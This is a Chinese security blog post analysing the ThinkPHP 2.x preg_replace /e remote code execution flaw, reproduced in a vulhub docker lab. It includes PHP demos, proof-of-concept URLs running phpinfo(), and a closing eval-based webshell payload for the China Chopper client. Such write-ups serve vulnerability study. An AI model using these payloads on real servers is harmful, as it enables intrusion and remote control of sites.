ThinkPHP系列漏洞之ThinkPHP 2.x 任意代码执行

admin 2021年4月30日09:36:29评论65 views字数 7425阅读24分45秒阅读模式

ThinkPHP是一个免费开源用户数量非常多的一个PHP开发框架,这个框架曾经爆出各种RCE和SQL注入漏洞。斗哥将带来ThinkPHP各个版本的漏洞分析文章,此为第一篇从TP最早的版本开始分析。

0x00 漏洞描述

在ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'/]+)@e', '$var['\1']="\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

所以先来看看preg_replace这个函数,这个函数是个替换函数,而且支持正则,使用方式如下:

preg_replace('正则规则','替换字符','目标字符')

这个函数的3个参数,结合起来的意思是:如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。

下面是搜索到的关于/e的解释:

e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
/e 可执行模式,此为PHP专有参数,例如preg_replace函数。

本地测试直接使用下面这行代码测试即可,可使用在线PHP沙箱来测试。

沙箱地址:http://sandbox.onlinephpfunctions.com/

?php
@preg_replace('/test/e','print_r("AAA");','just test');

这个函数5.2~5.6都还是可以执行的,但是到了php 版本7 以上,就已经都不支持/e修饰符了。

0x01 环境搭建与漏洞复现

斗哥选择了vunhub的docker靶场进行环境搭建,执行如下命令启动ThinkPHP 2.1的Demo应用:

docker-compose up -d

访问http://10.10.10.199:8080/index.php?s=/index/index/xxx/${@phpinfo()}

ThinkPHP系列漏洞之ThinkPHP 2.x 任意代码执行

0x02 分析学习

从漏洞挖掘的角度,如果采用的是关键函数查找的方式,应该是先搜索preg_replace这个函数,发现使用了这个函数之后,在查看是否使用/e修饰符,然后查看是否存在可控参数,如果存在,在分析是否可以传参利用。

```
docker ps
docker exec -it /bin/bash
cd /var/www/html
find . -name '*.php' | xargs grep -n 'preg_replace'

```
存在preg_replace函数的脚本:

```
./ThinkPHP/Mode/Lite/ThinkTemplateCompiler.class.php
./ThinkPHP/Mode/Lite/Dispatcher.class.php
./ThinkPHP/Lib/Think/Template/ThinkTemplate.class.php
./ThinkPHP/Lib/Think/Template/TagLib.class.php
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php
./ThinkPHP/Lib/Think/Util/Dispatcher.class.php
./ThinkPHP/Common/extend.php
./ThinkPHP/Common/functions.php

```
存在/e修饰符的脚本:

```
./ThinkPHP/Mode/Lite/Dispatcher.class.php:115: $res = preg_replace('@(w+)'.C('URL_PATHINFO_DEPR').'([^,/]+)@e', '$pathInfo['1']="2";', $_SERVER['PATH_INFO']);

./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:57: $rule = preg_replace('/{$(w+).(w+)|(w+)}/e',"3($1['2'])",$rule);
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:58: $rule = preg_replace('/{$(
w+).(w+)}/e',"$1['2']",$rule);
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:60: $rule = preg_replace('/{(w+)|(w+)}/e',"2($_GET['1'])",$rule);
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:61: $rule = preg_replace('/{(w+)}/e',"$_GET['1']",$rule);
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:68: $rule = preg_replace('/{|(w+)}/e',"1()",$rule);

./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:102: $res = preg_replace('@(w+)'.$depr.'([^'.$depr.'/]+)@e', '$var['1']="2";', implode($depr,$paths));
./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:224: $res = preg_replace('@(w+)/([^,/]+)@e', '$var['1']="2";', implode('/',$paths));
./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:239: $res = preg_replace('@(w+)/([^,/]+)@e', '$var['1']="2";', str_replace($matches[0],'',$regx));

./ThinkPHP/Common/extend.php:215: $str = preg_replace('#color="(.*?)"#', 'style="color: 1"', $str);

./ThinkPHP/Common/functions.php:145: return ucfirst(preg_replace("/_([a-zA-Z])/e", "strtoupper('1')", $name));
```

根据漏洞描述,有漏洞的代码位置在:
```
./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:102: $res = preg_replace('@(w+)'.$depr.'([^'.$depr.'/]+)@e', '$var['1']="2";', implode($depr,$paths));

```
根据代码注释,了解到这个是thinkphp 内置的Dispacher类,用来完成URL解析、路由和调度。所以有必要了解一下thinkphp的关于这块功能的使用。

在我看来,thinkphp 应该也是MVC框架,所有的请求都是根据路由来决定的。而Dispatcher.class.php就是规定如何来解析路由的这样一个类。

``
类名为
Dispatcher`,class Dispatcher extends Think
里面的方法有:
static public function dispatch() URL映射到控制器
public static function getPathInfo() 获得服务器的PATH_INFO信息
static public function routerCheck() 路由检测
static private function parseUrl($route)
static private function getModule($var) 获得实际的模块名称
static private function getGroup($var) 获得实际的分组名称

```
有漏洞的代码位置在static public function dispatch(),叫URL映射控制器,也就是URL访问的路径是映射到哪个控制器下。

参考文章:https://www.cnblogs.com/TigerYangWTH/p/5792286.html 得到:

● thinkphp 所有的主入口文件默认访问index控制器(模块)

● thinkphp 所有的控制器默认执行index动作(方法)

参考文章:https://www.kancloud.cn/manual/thinkphp5_1/353955

得到URL访问规则:
```
ThinkPHP5.1在没有定义路由的情况下典型的URL访问规则是:
http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]

如果不支持PATHINFO的服务器可以使用兼容模式访问如下:
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]

漏洞所在关键代码块。
// 分析PATHINFO信息
self::getPathInfo();

if(!self::routerCheck()){ // 检测路由规则 如果没有则按默认规则调度URL
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$var = array();
if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
$var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
// 禁止直接访问分组
exit;
}
}
if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
$var[C('VAR_MODULE')] = array_shift($paths);
}
$var[C('VAR_ACTION')] = array_shift($paths);
// 解析剩余的URL参数
$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'/]+)@e', '$var['1']="2";', implode($depr,$paths));
$_GET = array_merge($var,$_GET);
}
```

if(!self::routerCheck())

首先是没有路由规则,所以函数按照默认规则调度URL。

先看到 $var['1']="2"; ,而$var是一个array。

根据文章:https://www.bbsmax.com/A/l1dyr8E6ze/ ,https://521-wf.com/archives/45.html
学习得到的姿势:

代码1:注意看当前的变量a 值为字符串,且该字符串本脚本没有相同的函数名。

```
<?php
function test($str)
{
echo "This func is run $str .";
}

$a='GoodGoodStudy';
$b='[bbbaaahelloworldaaabbb]';

echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);

运行结果:
[bbbGoodGoodStudybbb]
代码2:注意看当前的变量a 值为test()。
<?php
function test($str)
{
echo "This func is run $str .";
}

$a='test()';
$b='[bbbaaahelloworldaaabbb]';

echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);

运行结果:
This func is run .[bbbbbb]

```
可以发现执行了test()这个函数,但是并没有传递参数进去。

代码3:注意看当前的变量a 值为test("1")。

```
<?php
function test($str)
{
echo "This func is run $str .";
}

$a='test("1")';
$b='[bbbaaahelloworldaaabbb]';

echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);

运行结果:
This func is run helloworld .[bbbbbb]
```
可以发现执行了test()这个函数,我们表面传递的参数是"1",结果表明参数确实传递进去了,但是本例传进去的是helloworld,helloworld是经过preg_replace()函数匹配要替换掉的原本那部分,现在转而成了参数进行传递了。

那我们假设现在$b的值是可控的,用户可以传参控制。

代码4:控制$b传递一个已知变量$c。

```
<?php
function test($str)
{
echo "This func is run $str .";
}

$a='test("1")';
$b='aaa$caaa';
$c="CXK";

echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);

运行结果:
This func is run CXK .

```
基于这个结果,在PHP当中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如${a}等价于$a,那如果{}写的是一个已知函数名称呢?那么这个函数就会被执行,具体例子我们可以参考如下这个例子。

代码5:

```
<?php

echo phpversion();
echo "n";

$a = "CXK";

echo "aaaaa{${a}}aaaaaa";
echo "n";

echo "aaaaa${phpversion()}aaaaaa";

运行结果:
5.6.19
aaaaaCXKaaaaaa
Notice: Undefined variable: 5.6.19 in [...][...] on line 11
aaaaaaaaaaa
```
可以看到,因为没有一个变量名为5.6.19所以报错了,但是代码却执行了,是不是有点像报错注入的感觉?

回到ThinkPHP的代码中来,可控的位置为implode($depr,$paths),implode()是将数组转成字符串,而'$var['1']="2";'是对一个数组做操作。

来分析一下正则(w+)/([^/]+),这个正则的意思是取路径的每2个参数。

代码:
```
<?php
$var = array();
$a='$var['1']="2";';
$b='a/b/c/d/e/f';
preg_replace("/(w+)/([^//])/ies",$a,$b);

print_r($var);

运行结果:
Array
(
[a] => b
[c] => d
[e] => f
)
```
通过上面的代码,更加清晰的是取出每2个参数,然后第一个参数作为数组的键,第二个参数作为数组的值,那么在这个过程当中,上述例子如果$b可控,同样会发生代码执行。

代码:此时$b采用的是双引号闭合的,注意如果采用单引号则不会有代码执行。
```
<?php
$var = array();
$a='$var['1']="2";';
$b="a/{${phpversion()}}/c/d/e/f";
preg_replace("/(w+)/([^//])/ies",$a,$b);

print_r($var);
运行结果:
Notice: Undefined variable: 5.4.6 in [...][...]on line 5
Array
(
[c] => d
[e] => f
)
```

需要说明的是,代码执行的位置,必须是数组的值的位置而不是键的位置。

然后在回到ThinkPHP的代码中来。
```
if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
$var[C('VAR_MODULE')] = array_shift($paths);
}
$var[C('VAR_ACTION')] = array_shift($paths);
// 解析剩余的URL参数

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'/]+)@e', '$var['1']="2";', implode($depr,$paths));
$_GET = array_merge($var,$_GET);
```
数组$var在路径存在模块和动作时,会去除掉前2个值。而数组$var来自于explode($depr,trim($_SERVER['PATH_INFO'],'/'));也就是路径。

所以我们可以构造poc如下:
/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
/index.php?s=a/b/c/d/e/${phpinfo()}
......

ThinkPHP系列漏洞之ThinkPHP 2.x 任意代码执行

下面给出一个能够直接菜刀连接的payload:
/index.php?s=a/b/c/${@print(eval($_POST[1]))}

ThinkPHP系列漏洞之ThinkPHP 2.x 任意代码执行

相关推荐: 小白从信息收集到企业内网的“入狱”之路

0x00 总要有个题目吧 为什么写这样的一篇文章呐,主要是想挣(pian)稿费,啊呸,说错了,主要是想用这篇文章回复问过我的一些初学者,以前我没得选,我现在想做个好人,什么呀,串场了。是想说即使现在技术可能还在初级阶段,但依旧可以仅仅通过信息收集的技巧撬开目标…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月30日09:36:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ThinkPHP系列漏洞之ThinkPHP 2.x 任意代码执行http://cn-sec.com/archives/246430.html